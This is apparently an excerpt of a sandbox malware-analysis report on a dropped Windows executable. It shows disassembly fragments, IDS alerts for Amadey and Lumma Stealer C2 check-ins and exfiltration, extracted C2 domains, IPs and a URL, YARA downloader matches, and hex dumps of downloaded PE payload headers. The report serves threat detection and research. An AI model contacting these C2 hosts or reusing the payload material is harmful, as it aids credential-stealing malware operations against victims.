Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	10_2_00435450
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx-7D4F867Fh]	10_2_00417380
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then push 00000000h	10_2_00429C2B
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then mov word ptr [ecx], dx	10_2_004291DD
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then mov ecx, dword ptr [ebp-20h]	10_2_004291DD
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	10_2_004074F0
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	10_2_004074F0
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 9C259492h	10_2_004385E0
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then jmp eax	10_2_004385E0
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then movzx edi, byte ptr [esp+ecx-7D4F88C7h]	10_2_00417DEE
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then mov ecx, eax	10_2_00409580
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then mov word ptr [ebp+00h], ax	10_2_00409580
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then jmp dword ptr [0044450Ch]	10_2_00418591
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then mov eax, dword ptr [ebp-68h]	10_2_00428D93
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then xor edi, edi	10_2_0041759F
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then mov eax, dword ptr [0044473Ch]	10_2_0041C653
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then mov edx, ebp	10_2_00425E70
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then jmp dword ptr [004455F4h]	10_2_00425E30
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then mov ecx, eax	10_2_0043AEC0
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then xor byte ptr [esp+eax+17h], al	10_2_00408F50
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then mov byte ptr [edi], bl	10_2_00408F50
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	10_2_0042A700
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then mov byte ptr [esi], al	10_2_0041BF14
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then mov eax, dword ptr [ebx+edi+44h]	10_2_00419F30
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+423C9D38h]	10_2_0041E7C0
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then movzx eax, word ptr [edx]	10_2_004197C2
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then mov word ptr [edi], dx	10_2_004197C2
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then mov word ptr [esi], cx	10_2_004197C2
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then mov ecx, ebx	10_2_0042DFE9
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then jmp ecx	10_2_0040BFFD
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+68E75405h]	10_2_0043EFB0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:49747 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058424 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (lossekniyyt .click) : 192.168.2.4:59573 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:49753
Source: Network traffic	Suricata IDS: 2058425 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (lossekniyyt .click in TLS SNI) : 192.168.2.4:49777 -> 172.67.131.246:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49780 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058425 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (lossekniyyt .click in TLS SNI) : 192.168.2.4:49783 -> 172.67.131.246:443
Source: Network traffic	Suricata IDS: 2058425 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (lossekniyyt .click in TLS SNI) : 192.168.2.4:49791 -> 172.67.131.246:443
Source: Network traffic	Suricata IDS: 2058425 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (lossekniyyt .click in TLS SNI) : 192.168.2.4:49799 -> 172.67.131.246:443
Source: Network traffic	Suricata IDS: 2058425 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (lossekniyyt .click in TLS SNI) : 192.168.2.4:49807 -> 172.67.131.246:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49805 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058425 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (lossekniyyt .click in TLS SNI) : 192.168.2.4:49815 -> 172.67.131.246:443
Source: Network traffic	Suricata IDS: 2058425 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (lossekniyyt .click in TLS SNI) : 192.168.2.4:49822 -> 172.67.131.246:443
Source: Network traffic	Suricata IDS: 2058425 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (lossekniyyt .click in TLS SNI) : 192.168.2.4:49835 -> 172.67.131.246:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49834 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49849 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49893 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058354 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (aspecteirs .lat) : 192.168.2.4:56838 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058355 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI) : 192.168.2.4:49903 -> 104.21.66.85:443
Source: Network traffic	Suricata IDS: 2058355 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI) : 192.168.2.4:49910 -> 104.21.66.85:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49919 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058355 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI) : 192.168.2.4:49932 -> 104.21.66.85:443
Source: Network traffic	Suricata IDS: 2058355 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI) : 192.168.2.4:49939 -> 104.21.66.85:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49868 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058355 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI) : 192.168.2.4:49947 -> 104.21.66.85:443
Source: Network traffic	Suricata IDS: 2058355 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI) : 192.168.2.4:49954 -> 104.21.66.85:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49777 -> 172.67.131.246:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49777 -> 172.67.131.246:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49812 -> 104.21.67.146:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49812 -> 104.21.67.146:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49835 -> 172.67.131.246:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49815 -> 172.67.131.246:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49783 -> 172.67.131.246:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49783 -> 172.67.131.246:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49828 -> 104.21.67.146:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49806 -> 104.21.67.146:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49890 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49890 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49867 -> 104.21.67.146:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49897 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49897 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49913 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49806 -> 104.21.67.146:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49910 -> 104.21.66.85:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49910 -> 104.21.66.85:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49939 -> 104.21.66.85:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49903 -> 104.21.66.85:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49903 -> 104.21.66.85:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49953 -> 104.21.91.209:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: rapeflowwj.lat
Source: Malware configuration extractor	URLs: necklacebudi.lat
Source: Malware configuration extractor	URLs: sustainskelet.lat
Source: Malware configuration extractor	URLs: energyaffai.lat
Source: Malware configuration extractor	URLs: grannyejh.lat
Source: Malware configuration extractor	URLs: aspecteirs.lat
Source: Malware configuration extractor	URLs: pancakedipyps.click
Source: Malware configuration extractor	URLs: discokeyus.lat
Source: Malware configuration extractor	URLs: crosshuaht.lat
Source: Malware configuration extractor	URLs: https://198.251.84.107:9254/dc33e47f6acdb4eefe/ahbjmv76.0lxxe
Source: Malware configuration extractor	IPs: 185.215.113.43

Yara detected Generic Downloader

Source: Yara match	File source: 6.0.44098beb09.exe.130000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.44098beb09.exe.3723198.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.44098beb09.exe.37694e0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe, type: DROPPED

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 20 Dec 2024 08:12:09 GMTContent-Type: application/octet-streamContent-Length: 3286016Last-Modified: Wed, 18 Dec 2024 13:43:08 GMTConnection: keep-aliveETag: "6762d16c-322400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 88 cf 56 f4 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 50 00 00 c8 2f 00 00 5a 02 00 00 00 00 00 ce e6 2f 00 00 20 00 00 00 00 30 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 32 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 0f 00 00 00 00 00 00 00 00 00 00 00 80 e6 2f 00 4b 00 00 00 00 00 30 00 40 57 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 32 00 0c 00 00 00 33 e6 2f 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d4 c6 2f 00 00 20 00 00 00 c8 2f 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 40 57 02 00 00 00 30 00 00 58 02 00 00 ca 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 60 32 00 00 02 00 00 00 22 32 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 e6 2f 00 00 00 00 00 48 00 00 00 02 00 05 00 00 c2 01 00 40 1c 04 00 03 00 00 00 43 0d 00 06 40 de 05 00 7a 05 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 2b 05 28 42 0f 39 39 28 02 00 00 06 2a 00 00 3a 2b 05 28 f1 af 5e 41 00 28 21 0d 00 06 2a 00 12 00 00 00 2a 00 00 00 1a 28 2a 0c 00 06 2a 00 12 00 00 00 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 2a 0c 00 06 2a 00 13 30 03 00 92 00 00 00 01 00 00 11 28 2a 0c 00 06 38 79 00 00 00 fe 0c 00 00 45 03 00 00 00 63 00 00 00 4f 00 00 00 2f 00 00 00 38 5e 00 00 00 73 17 00 00 0a 80 04 00 00 04 20 01 00 00 00 17 3a d5 ff ff ff 26 38 cb ff ff ff 73 18 00 00 0a 80 03 00 00 04 38 d6 ff ff ff 73 19 00 00 0a 80 06 00 00 04 20 00 00 00 00 17 39 ab ff ff ff 26 20 00 00 00 00 38 a0 ff ff ff 73 1a 00 00 0a 80 05 00 00 04 20 02 00 00 00 38 8c ff ff ff 2a 73 1b 00 00 0a 80 02 00 00 04 38 ad ff ff ff 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 20 Dec 2024 08:12:20 GMTContent-Type: application/octet-streamContent-Length: 1880576Last-Modified: Wed, 18 Dec 2024 18:02:50 GMTConnection: keep-aliveETag: "67630e4a-1cb200"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 ae 00 00 00 00 00 00 00 30 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 4a 00 00 04 00 00 69 eb 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 10 05 00 00 10 00 00 00 48 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 20 05 00 00 02 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 30 05 00 00 02 00 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 b0 2a 00 00 40 05 00 00 02 00 00 00 5c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 6e 75 7a 76 6c 68 65 00 30 1a 00 00 f0 2f 00 00 2e 1a 00 00 5e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 7a 75 74 74 61 6e 78 00 10 00 00 00 20 4a 00 00 04 00 00 00 8c 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 4a 00 00 22 00 00 00 90 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 20 Dec 2024 08:12:28 GMTContent-Type: application/octet-streamContent-Length: 2016256Last-Modified: Fri, 20 Dec 2024 07:53:37 GMTConnection: keep-aliveETag: "67652281-1ec400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cd d8 9a 7a 89 b9 f4 29 89 b9 f4 29 89 b9 f4 29 c2 c1 f7 28 82 b9 f4 29 c2 c1 f1 28 06 b9 f4 29 c2 c1 f0 28 9d b9 f4 29 9c c6 f1 28 af b9 f4 29 9c c6 f0 28 98 b9 f4 29 9c c6 f7 28 9d b9 f4 29 c2 c1 f5 28 8a b9 f4 29 89 b9 f5 29 da b9 f4 29 89 b9 f4 29 8b b9 f4 29 b3 39 f0 28 8a b9 f4 29 b3 39 0b 29 88 b9 f4 29 b3 39 f6 28 88 b9 f4 29 52 69 63 68 89 b9 f4 29 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 5f 7b 5f 64 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 25 00 7c 03 00 00 5e 03 00 00 00 01 00 00 00 4d 00 00 10 00 00 00 90 03 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 4d 00 00 04 00 00 67 58 1f 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 56 e0 07 00 6a 00 00 00 00 c0 07 00 6c 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 e1 07 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 07 00 00 10 00 00 00 3c 04 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 6c 16 00 00 00 c0 07 00 00 08 00 00 00 4c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 e0 07 00 00 02 00 00 00 54 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 b0 2a 00 00 f0 07 00 00 02 00 00 00 56 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 74 6f 79 74 67 77 76 00 50 1a 00 00 a0 32 00 00 44 1a 00 00 58 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 76 77 62 6a 69 7a 78 00 10 00 00 00 f0 4c 00 00 06 00 00 00 9c 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 00 4d 00 00 22 00 00 00 a2 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 20 Dec 2024 08:12:37 GMTContent-Type: application/octet-streamContent-Length: 21504Last-Modified: Wed, 18 Dec 2024 18:13:28 GMTConnection: keep-aliveETag: "676310c8-5400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 70 6d 3b c0 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 4a 00 00 00 08 00 00 00 00 00 00 3a 69 00 00 00 20 00 00 00 80 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 00 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 e6 68 00 00 4f 00 00 00 00 80 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 00 00 0c 00 00 00 54 68 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 40 49 00 00 00 20 00 00 00 4a 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 9c 05 00 00 00 80 00 00 00 06 00 00 00 4c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 a0 00 00 00 02 00 00 00 52 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 69 00 00 00 00 00 00 48 00 00 00 02 00 05 00 e4 36 00 00 70 31 00 00 03 00 02 00 1b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 30 02 00 38 00 00 00 01 00 00 11 73 32 00 00 06 0a 06 28 16 00 00 0a 7d 3c 00 00 04 06 02 7d 3d 00 00 04 06 15 7d 3b 00 00 04 06 7c 3c 00 00 04 12 00 28 01 00 00 2b 06 7c 3c 00 00 04 28 18 00 00 0a 2a 13 30 02 00 50 00 00 00 02 00 00 11 00 